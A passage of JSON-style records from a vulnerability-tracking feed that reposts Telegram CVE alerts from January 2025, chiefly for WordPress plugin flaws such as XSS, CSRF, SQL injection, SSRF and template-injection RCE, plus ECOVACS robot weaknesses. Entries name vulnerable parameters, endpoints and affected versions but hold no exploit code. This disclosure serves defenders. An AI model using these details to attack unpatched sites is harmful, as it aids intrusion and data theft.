"https://t.me/cvedetector/14273", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12221 - Turnkey bbPress by WeaverTheme WordPress Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12221 \nPublished : Jan. 4, 2025, 10:15 a.m. | 39\u00a0minutes ago \nDescription : The Turnkey bbPress by WeaverTheme plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018_wpnonce\u2019 parameter in all versions up to, and including, 1.6.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-04T12:14:58.000000Z"}, {"uuid": "72a7bebd-fb07-41a5-a2e1-2bf1b719f2c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12583", "type": "seen", "source": "https://t.me/cvedetector/14270", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12583 - Dynamics 365 Integration Plugin for WordPress Remote Code Execution and Arbitrary File Read Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12583 \nPublished : Jan. 4, 2025, 9:15 a.m. | 16\u00a0minutes ago \nDescription : The Dynamics 365 Integration plugin for WordPress is vulnerable to Remote Code Execution and Arbitrary File Read in all versions up to, and including, 1.3.23 via Twig Server-Side Template Injection. This is due to missing input validation and sanitization on the render function. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server. \nSeverity: 9.9 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-04T10:34:41.000000Z"}, {"uuid": "73aa7e78-064f-455e-94b8-4286fd9809d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12279", "type": "seen", "source": "https://t.me/cvedetector/14274", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12279 - Gravity Forms CSRF vulnerabilitiy allows remote attacker to inject malicious web scripts via forged request\", \n  \"Content\": \"CVE ID : CVE-2024-12279 \nPublished : Jan. 4, 2025, 12:15 p.m. | 32\u00a0minutes ago \nDescription : The WP Social AutoConnect plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 4.6.2. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-04T13:55:20.000000Z"}, {"uuid": "fcfea4e1-c1b9-43e3-87a1-9fa195edabf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12195", "type": "seen", "source": "https://t.me/cvedetector/14277", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12195 - WP Project Manager SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12195 \nPublished : Jan. 4, 2025, 12:15 p.m. | 33\u00a0minutes ago \nDescription : The WP Project Manager \u2013 Task, team, and project management plugin featuring kanban board and gantt charts plugin for WordPress is vulnerable to SQL Injection via the 'project_id' parameter of the /wp-json/pm/v2/projects/2/task-lists REST API endpoint in all versions up to, and including, 2.6.16 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, who have been granted access to a project, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-04T13:55:22.000000Z"}, {"uuid": "a10d5803-cae9-4346-89db-689ba4284c72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12475", "type": "seen", "source": "https://t.me/cvedetector/14275", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12475 - \"WordPress WP Multi Store Locator Stored Cross-Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12475 \nPublished : Jan. 4, 2025, 12:15 p.m. | 32\u00a0minutes ago \nDescription : The WP Multi Store Locator plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 2.4.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-04T13:55:21.000000Z"}, {"uuid": "c3f24dd2-f0cd-48ae-bc47-7f6a38c51991", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12545", "type": "seen", "source": "https://t.me/cvedetector/14266", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12545 - \"Scratch & Win - Cross-Site Request Forgery in WordPress Plugin\"\", \n  \"Content\": \"CVE ID : CVE-2024-12545 \nPublished : Jan. 4, 2025, 8:15 a.m. | 26\u00a0minutes ago \nDescription : The Scratch & Win \u2013 Giveaways and Contests. Boost subscribers, traffic, repeat visits,  referrals, sales and more plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.7.1. This is due to missing nonce validation on the reset_installation() function. This makes it possible for unauthenticated attackers to reset the plugin\u2019s installation via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-04T09:44:27.000000Z"}, {"uuid": "f765322f-ce4e-4c9f-b2c5-60416f8a8b97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12701", "type": "seen", "source": "https://t.me/cvedetector/14265", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12701 - \"WP Smart Import Reflected Cross-Site Scripting\"\", \n  \"Content\": \"CVE ID : CVE-2024-12701 \nPublished : Jan. 4, 2025, 8:15 a.m. | 26\u00a0minutes ago \nDescription : The WP Smart Import : Import any XML File to WordPress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018 page\u2019 parameter in all versions up to, and including, 1.1.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-04T09:44:27.000000Z"}, {"uuid": "5bdaf270-1d40-43d2-9dc6-285269436429", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12078", "type": "seen", "source": "https://t.me/cvedetector/16212", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12078 - ECOVACS BLE GATT Auth Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12078 \nPublished : Jan. 23, 2025, 5:15 p.m. | 40\u00a0minutes ago \nDescription : ECOVACS robot lawn mowers and vacuums use a shared, static secret key to encrypt BLE GATT messages. An unauthenticated attacker within BLE range can control any robot using the same key. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-23T19:09:14.000000Z"}, {"uuid": "1ce85699-8405-44b7-aaed-6c9bdc9e5bbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12237", "type": "seen", "source": "https://t.me/cvedetector/14251", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12237 - WordPress Photo Gallery Slideshow & Masonry Tiled Gallery SSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12237 \nPublished : Jan. 3, 2025, 11:15 p.m. | 40\u00a0minutes ago \nDescription : The Photo Gallery Slideshow & Masonry Tiled Gallery plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.0.15 via the rjg_get_youtube_info_justified_gallery_callback function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to retrieve limited information from internal services. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-04T01:23:01.000000Z"}, {"uuid": "cf3e2b6f-e711-4797-8e3c-6dd8c584d308", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12118", "type": "seen", "source": "https://t.me/cvedetector/16183", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12118 - WordPress The Events Calendar Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12118 \nPublished : Jan. 23, 2025, 12:15 p.m. | 45\u00a0minutes ago \nDescription : The The Events Calendar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Event Calendar Link Widget through the html_tag attribute in all versions up to, and including, 6.9.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-23T14:08:11.000000Z"}, {"uuid": "9279676a-a34f-49b4-962e-d314b8af8f59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12079", "type": "seen", "source": "https://t.me/cvedetector/16213", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12079 - ECOVACS Robot Lawnmowers Text-Based Authentication Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12079 \nPublished : Jan. 23, 2025, 5:15 p.m. | 40\u00a0minutes ago \nDescription : ECOVACS robot lawnmowers store the anti-theft PIN in cleartext on the device filesystem. An attacker can steal a lawnmower, read the PIN, and reset the anti-theft mechanism. \nSeverity: 3.3 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-23T19:09:15.000000Z"}, {"uuid": "101228d0-7f9b-4df2-b026-4a4f241cdf25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12504", "type": "seen", "source": "https://t.me/cvedetector/16180", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12504 - WordPress Broadcast Live Video Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12504 \nPublished : Jan. 23, 2025, 12:15 p.m. | 45\u00a0minutes ago \nDescription : The Broadcast Live Video \u2013 Live Streaming : HTML5, WebRTC, HLS, RTSP, RTMP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'videowhisper_hls' shortcode in all versions up to, and including, 6.1.9 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-23T14:08:06.000000Z"}, {"uuid": "7ef1e0e7-b879-4af5-8b0b-b2f67f84d9d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12043", "type": "seen", "source": "https://t.me/cvedetector/16176", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12043 - Elementor Prime Slider WordPress Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12043 \nPublished : Jan. 23, 2025, 11:15 a.m. | 42\u00a0minutes ago \nDescription : The Prime Slider \u2013 Addons For Elementor (Revolution of a slider, Hero Slider, Post Slider and Ecommerce Slider) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'social_link_title' parameter of the 'blog' widget in all versions up to, and including, 3.16.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-23T13:17:56.000000Z"}, {"uuid": "15035ca1-53ab-4fdd-bff7-2a6be89f1fe8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12477", "type": "seen", "source": "https://t.me/cvedetector/16145", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12477 - \"Avada Builder WordPress Stored Cross-Site Scripting\"\", \n  \"Content\": \"CVE ID : CVE-2024-12477 \nPublished : Jan. 22, 2025, 10:15 p.m. | 34\u00a0minutes ago \nDescription : The Avada Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcodes in all versions up to, and including, 3.11.11 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-22T23:55:47.000000Z"}, {"uuid": "c5c1d2a2-4857-4966-9b48-3391f9c4d5da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12472", "type": "seen", "source": "https://t.me/cvedetector/15026", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12472 - WordPress Post Duplicator Information Exposure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12472 \nPublished : Jan. 11, 2025, 3:15 a.m. | 28\u00a0minutes ago \nDescription : The Post Duplicator plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 2.36 via the mtphr_duplicate_post() due to insufficient restrictions on which posts can be duplicated. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from password protected, private, or draft posts that they should not have access to by duplicating the post. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T04:53:19.000000Z"}, {"uuid": "0098b093-54b7-465a-a3aa-bd57fdd7e3c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12404", "type": "seen", "source": "https://t.me/cvedetector/15025", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12404 - WordPress CF Internal Link Shortcode SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12404 \nPublished : Jan. 11, 2025, 3:15 a.m. | 28\u00a0minutes ago \nDescription : The CF Internal Link Shortcode plugin for WordPress is vulnerable to SQL Injection via the 'post_title' parameter in all versions up to, and including, 1.1.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T04:53:19.000000Z"}, {"uuid": "7feca722-7c63-416e-bf48-61787fc0e89a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12117", "type": "seen", "source": "https://t.me/cvedetector/16080", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12117 - The Stackable Gutenberg Blocks Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12117 \nPublished : Jan. 22, 2025, 7:15 a.m. | 30\u00a0minutes ago \nDescription : The Stackable \u2013 Page Builder Gutenberg Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'title' parameter of the Button block in all versions up to, and including, 3.13.11 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-22T08:52:25.000000Z"}, {"uuid": "b0efa615-d58d-4120-862c-8ca07f248715", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12857", "type": "seen", "source": "https://t.me/cvedetector/16079", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12857 - AdForest WordPress Authentication Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12857 \nPublished : Jan. 22, 2025, 7:15 a.m. | 30\u00a0minutes ago \nDescription : The AdForest theme for WordPress is vulnerable to authentication bypass in all versions up to, and including, 5.1.8. This is due to the plugin not properly verifying a user's identity prior to logging them in as that user. This makes it possible for unauthenticated attackers to authenticate as any user as long as they have configured OTP login by phone number. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-22T08:52:24.000000Z"}, {"uuid": "6f120b8b-321d-448c-965a-aae6e74abf33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12879", "type": "seen", "source": "https://t.me/cvedetector/16077", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12879 - \"WordPress WPBot Pro Unauthorized Data Modification - Arbitrary Chat Response Injection\"\", \n  \"Content\": \"CVE ID : CVE-2024-12879 \nPublished : Jan. 22, 2025, 6:15 a.m. | 38\u00a0minutes ago \nDescription : The WPBot Pro Wordpress Chatbot plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'qc_wp_latest_update_check_pro' function in all versions up to, and including, 13.5.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create Simple Text Responses to chat queries. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-22T08:02:14.000000Z"}, {"uuid": "ee35d3aa-7c49-43a0-9be7-93e56e8e1002", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12304", "type": "seen", "source": "https://t.me/cvedetector/15033", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12304 - Kadence WP Gutenberg Blocks with AI Page Builder Stored Cross-Site Scripting (XSS) Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12304 \nPublished : Jan. 11, 2025, 4:15 a.m. | 19\u00a0minutes ago \nDescription : The Gutenberg Blocks with AI by Kadence WP \u2013 Page Builder Features plugin for WordPress is vulnerable to Stored Cross-Site Scripting via button block link in all versions up to, and including, 3.4.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T05:43:33.000000Z"}, {"uuid": "4c7cafea-6e2c-43a2-b0d0-d3e08c3600a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12116", "type": "seen", "source": "https://t.me/cvedetector/15053", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12116 - Elementor WooCommerce Unlimited Theme Addon Information Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12116 \nPublished : Jan. 11, 2025, 8:15 a.m. | 33\u00a0minutes ago \nDescription : The Unlimited Theme Addon For Elementor and WooCommerce plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.2.1 via the 'uta-template' shortcode due to insufficient restrictions on which posts can be included. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from private or draft posts created by Elementor that they should not have access to. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T09:54:22.000000Z"}, {"uuid": "bf9fac26-be6f-4a00-a0ad-d6e0f690ec1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12527", "type": "seen", "source": "https://t.me/cvedetector/15049", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12527 - \"WordPress Perfect Portal Widgets Stored Cross-Site Scripting\"\", \n  \"Content\": \"CVE ID : CVE-2024-12527 \nPublished : Jan. 11, 2025, 8:15 a.m. | 33\u00a0minutes ago \nDescription : The Perfect Portal Widgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'perfect_portal_intake_form' shortcode in all versions up to, and including, 3.0.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T09:54:16.000000Z"}, {"uuid": "5db40ef9-3fa4-4b0b-a120-1deb6652644c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12520", "type": "seen", "source": "https://t.me/cvedetector/15048", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12520 - WordPress WPBakery - Stored Cross-Site Scripting in Dominion Domain Checker Shortcode\", \n  \"Content\": \"CVE ID : CVE-2024-12520 \nPublished : Jan. 11, 2025, 8:15 a.m. | 33\u00a0minutes ago \nDescription : The Dominion \u2013 Domain Checker for WPBakery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'dominion_shortcodes_domain_search_6' shortcode in all versions up to, and including, 2.2.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T09:54:15.000000Z"}, {"uuid": "cb12a578-b2f3-4e18-8694-6c8f7e4c9049", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12519", "type": "seen", "source": "https://t.me/cvedetector/15047", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12519 - \"WordPress TCBD Auto Refresher Stored XSS\"\", \n  \"Content\": \"CVE ID : CVE-2024-12519 \nPublished : Jan. 11, 2025, 8:15 a.m. | 33\u00a0minutes ago \nDescription : The TCBD Auto Refresher plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'tcbd_auto_refresh' shortcode in all versions up to, and including, 2.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T09:54:14.000000Z"}, {"uuid": "dee41aea-c4ab-4b28-b5d3-ee0e1250726d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12412", "type": "seen", "source": "https://t.me/cvedetector/15046", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12412 - WpRently - WordPress Stored Cross-Site Scripting in Rental and Booking Manager\", \n  \"Content\": \"CVE ID : CVE-2024-12412 \nPublished : Jan. 11, 2025, 8:15 a.m. | 33\u00a0minutes ago \nDescription : The Rental and Booking Manager for Bike, Car, Dress, Resort with WooCommerce Integration \u2013 WpRently | WordPress plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u2018active_tab\u2019 parameter in all versions up to, and including, 2.2.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 